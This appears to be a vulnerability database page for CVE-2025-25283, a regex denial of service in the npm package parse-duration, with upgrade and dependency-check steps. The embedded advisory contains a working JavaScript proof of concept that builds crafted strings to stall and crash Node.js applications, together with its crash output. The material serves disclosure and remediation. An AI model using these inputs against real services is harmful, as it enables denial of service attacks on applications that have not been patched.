CVE-2025-25283: Parse duration Denial of Service Vulnerability
HIGHCVE-2025-25283 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-1333: Inefficient Regular Expression Complexity) affecting Parse duration libraries in the npm ecosystem. The issue involves parse-duration has a regex denial of service that results in event loop delay and out of memory. Remediation is available by upgrading affected packages to version 2.1.3.
CVE-2025-25283 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
How to Fix CVE-2025-25283
To remediate this vulnerability, upgrade all affected Parse duration dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install parse-duration@2.1.3
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls parse-duration
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2025-25283, inspect your project dependencies using npm:
npm ls parse-duration
Analyze the terminal output to locate any version of Parse duration in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.1.3), your application is affected.
Note: The npm ls parse-duration command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-1333: Inefficient Regular Expression Complexity, where the product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential. In Parse duration, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2025-25283 Affected Parse duration Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
parse-duration
|
npm |
< 2.1.3
|
2.1.3
|
References
Frequently Asked Questions
What is CVE-2025-25283?
Which Parse duration versions are affected?
What version fixes CVE-2025-25283?
Is parse-duration affected?
What is the CVSS score of CVE-2025-25283?
What CWE is associated with CVE-2025-25283?
How can I check npm dependencies for CVE-2025-25283?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-hcrg-fc28-fcg5",
"modified" : "2025-02-12T21:35:41Z",
"published" : "2025-02-12T19:45:51Z",
"aliases" : [ "CVE-2025-25283" ],
"summary" : "parse-duration has a Regex Denial of Service that results in event loop delay and out of memory",
"details" : "### Summary\n\nThis report finds 2 availability issues due to the regex used in the `parse-duration` npm package:\n1. An event loop delay due to the CPU-bound operation of resolving the provided string, from a 0.5ms and up to ~50ms per one operation, with a varying size from 0.01 MB and up to 4.3 MB respectively.\n2. An out of memory that would crash a running Node.js application due to a string size of roughly 10 MB that utilizes unicode characters.\n\n### PoC\n\nRefer to the following proof of concept code that provides a test case and makes use of the regular expression in the library as its test case to match against strings:\n\n```js\n// Vulnerable regex to use from the library:\nimport parse from './index.js'\n\nfunction generateStressTestString(length, decimalProbability) {\n let result = \"\";\n for (let i = 0; i < length; i++) {\n if (Math.random() < decimalProbability) {\n result += \"....\".repeat(99);\n }\n result += Math.floor(Math.random() * 10);\n }\n return result;\n}\n\nfunction getStringSizeInMB_UTF8(str) {\n const sizeInBytes = Buffer.byteLength(str, 'utf8');\n const sizeInMB = sizeInBytes / (1024 * 1024);\n return sizeInMB;\n}\n\n\n// Generate test strings with varying length and decimal probability:\nconst longString1 = generateStressTestString(380, 0.05);\nconst longString2 = generateStressTestString(10000, 0.9);\nconst longString3 = generateStressTestString(500000, 1);\nconst longStringVar1 = '-1e' + '-----'.repeat(915000)\nconst longStringVar2 = \"1\" + \"0\".repeat(500) + \"e1\" + \"α\".repeat(5225000)\n\nfunction testRegex(str) {\n const startTime = performance.now();\n // one of the regex's used in the library:\n // const durationRE = /(-?(?:\\d+\\.?\\d*|\\d*\\.?\\d+)(?:e[-+]?\\d+)?)\\s*([\\p{L}]*)/giu;\n // const match = durationRE.test(str);\n // but we will use the exported library code directly:\n const match = parse(str);\n const endTime = performance.now();\n const timeTaken = endTime - startTime;\n return { timeTaken, match };\n}\n\n// Test the long strings:\nlet result = {}\n\n{\n console.log(\n `\\nRegex test on string of length ${longString1.length} (size: ${getStringSizeInMB_UTF8(longString1).toFixed(2)} MB):`\n );\n result = testRegex(longString1);\n console.log(\n ` matched: ${result.match}, time taken: ${result.timeTaken}ms`\n );\n}\n\n{\n console.log(\n `\\nRegex test on string of length ${longString2.length} (size: ${getStringSizeInMB_UTF8(longString2).toFixed(2)} MB):`\n );\n result = testRegex(longString2 + \"....\".repeat(100) + \"5сек\".repeat(9000));\n console.log(\n ` matched: ${result.match}, time taken: ${result.timeTaken}ms`\n );\n}\n\n{\n console.log(\n `\\nRegex test on string of length ${longStringVar1.length} (size: ${getStringSizeInMB_UTF8(longStringVar1).toFixed(2)} MB):`\n );\n result = testRegex(longStringVar1);\n console.log(\n ` matched: ${result.match}, time taken: ${result.timeTaken}ms`\n );\n}\n\n\n{\n console.log(\n `\\nRegex test on string of length ${longString3.length} (size: ${getStringSizeInMB_UTF8(longString3).toFixed(2)} MB):`\n );\n result = testRegex(longString3 + '.'.repeat(10000) + \" 5сек\".repeat(9000));\n console.log(\n ` matched: ${result.match}, time taken: ${result.timeTaken}ms`\n );\n}\n\n{\n console.log(\n `\\nRegex test on string of length ${longStringVar2.length} (size: ${getStringSizeInMB_UTF8(longStringVar2).toFixed(2)} MB):`\n );\n result = testRegex(longStringVar2);\n console.log(\n ` matched: ${result.match}, time taken: ${result.timeTaken}ms`\n );\n}\n```\n\nThe results of this on the cloud machine that I ran this on are as follows:\n\n```sh\n@lirantal ➜ /workspaces/parse-duration (master) $ node redos.js \n\nRegex test on string of length 6320 (size: 0.01 MB):\n matched: 5997140778.000855, time taken: 0.9271340000000237ms\n\nRegex test on string of length 3561724 (size: 3.40 MB):\n matched: 0.0006004999999999999, time taken: 728.7693149999999ms\n\nRegex test on string of length 4575003 (size: 4.36 MB):\n matched: null, time taken: 43.713984999999866ms\n\nRegex test on string of length 198500000 (size: 189.30 MB):\n\n<--- Last few GCs --->\n\n[34339:0x7686430] 14670 ms: Mark-Compact (reduce) 2047.4 (2073.3) -> 2047.4 (2074.3) MB, 1396.70 / 0.01 ms (+ 0.1 ms in 62 steps since start of marking, biggest step 0.0 ms, walltime since start of marking 1430 ms) (average mu = 0.412, current mu = 0.[34339:0x7686430] 17450 ms: Mark-Compact (reduce) 2048.4 (2074.3) -> 2048.4 (2075.3) MB, 2777.68 / 0.00 ms (average mu = 0.185, current mu = 0.001) allocation failure; scavenge might not succeed\n\n\n<--- JS stacktrace --->\n\nFATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory\n----- Native stack trace -----\n\n 1: 0xb8d0a3 node::OOMErrorHandler(char const*, v8::OOMDetails const&) [node]\n 2: 0xf06250 v8::Utils::ReportOOMFailure(v8::internal::Isolate*, char const*, v8::OOMDetails const&) [node]\n 3: 0xf06537 v8::internal::V8::FatalProcessOutOfMemory(v8::internal::Isolate*, char const*, v8::OOMDetails const&) [node]\n 4: 0x11180d5 [node]\n 5: 0x112ff58 v8::internal::Heap::CollectGarbage(v8::internal::AllocationSpace, v8::internal::GarbageCollectionReason, v8::GCCallbackFlags) [node]\n 6: 0x1106071 v8::internal::HeapAllocator::AllocateRawWithLightRetrySlowPath(int, v8::internal::AllocationType, v8::internal::AllocationOrigin, v8::internal::AllocationAlignment) [node]\n 7: 0x1107205 v8::internal::HeapAllocator::AllocateRawWithRetryOrFailSlowPath(int, v8::internal::AllocationType, v8::internal::AllocationOrigin, v8::internal::AllocationAlignment) [node]\n 8: 0x10e4856 v8::internal::Factory::NewFillerObject(int, v8::internal::AllocationAlignment, v8::internal::AllocationType, v8::internal::AllocationOrigin) [node]\n 9: 0x1540686 v8::internal::Runtime_AllocateInYoungGeneration(int, unsigned long*, v8::internal::Isolate*) [node]\n10: 0x1979ef6 [node]\nAborted (core dumped)\n```\n\nYou can note that:\n1. 0.01 MB of input was enough to cause a 1ms delay (0.92ms)\n2. Ranging from either 3 MB to 4 MB of input results in almost a full second day (728ms) and 42 ms, depending on the characters used in the text passed to the library's `parse()` function\n3. A 200 MB of input size already causes JavaScript heap out of memory crash\n\nHowever, more interestingly, if we focus on the input string case:\n\n```js\nconst longStringVar2 = \"1\" + \"0\".repeat(500) + \"e1\" + \"α\".repeat(5225000)\n```\n\nEven though this is merely 10 MB of size (9.97 MB) it results in an out of memory issue due to the recursive nature of the regular expression matching:\n\n```sh\nRegex test on string of length 5225503 (size: 9.97 MB):\nfile:///workspaces/parse-duration/index.js:21\n .replace(durationRE, (_, n, units) => {\n ^\n\nRangeError: Maximum call stack size exceeded\n at String.replace (<anonymous>)\n at parse (file:///workspaces/parse-duration/index.js:21:6)\n at testRegex (file:///workspaces/parse-duration/redos.js:35:17)\n at file:///workspaces/parse-duration/redos.js:89:12\n at ModuleJob.run (node:internal/modules/esm/module_job:234:25)\n at async ModuleLoader.import (node:internal/modules/esm/loader:473:24)\n at async asyncRunEntryPointWithESMLoader (node:internal/modules/run_main:122:5)\n\nNode.js v20.18.1\n```\n \nTo note, the issue at hand may not just be the primary regex in use but rather the reliance of the various `replace` functions in the `parse()` function which create copies of the input in memory.\n\n### Impact\n\n- I agree, a 200 MB (perhaps even less if we perform more tests to find the actual threshold) is a large amount of data to send over a network and hopefully is unlikely to hit common application usage.\n- In the case of the specialized input string case that uses a UTF-8 character it is only requires up to 10 MB of request size to cause a RangeError exception for a running Node.js application, which I think is more applicable and common to allow such input sizes for POST requests and other types.\n- Even for the smaller payloads such as 0.01 MB which aligns with Express's default of 100kb request limit size it causes a 1ms delay. Now imagine if an application is running without proper security controls such as rate limits, and attackers send 1000s of concurrent requests which quickly turn the 1ms delay into seconds worth of delay for a running application. The 3 MB payload already shows a 0.5s delay in one request.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "parse-duration"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.1.3"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/jkroso/parse-duration/security/advisories/GHSA-hcrg-fc28-fcg5"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-25283"
}, {
"type" : "WEB",
"url" : "https://github.com/jkroso/parse-duration/commit/9e88421bfd41806fa4b473bfb28a9ee9dafc27d7"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/jkroso/parse-duration"
}, {
"type" : "WEB",
"url" : "https://github.com/jkroso/parse-duration/releases/tag/v2.1.3"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-1333" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2025-02-12T19:45:51Z",
"nvd_published_at" : "2025-02-12T19:15:21Z"
}
}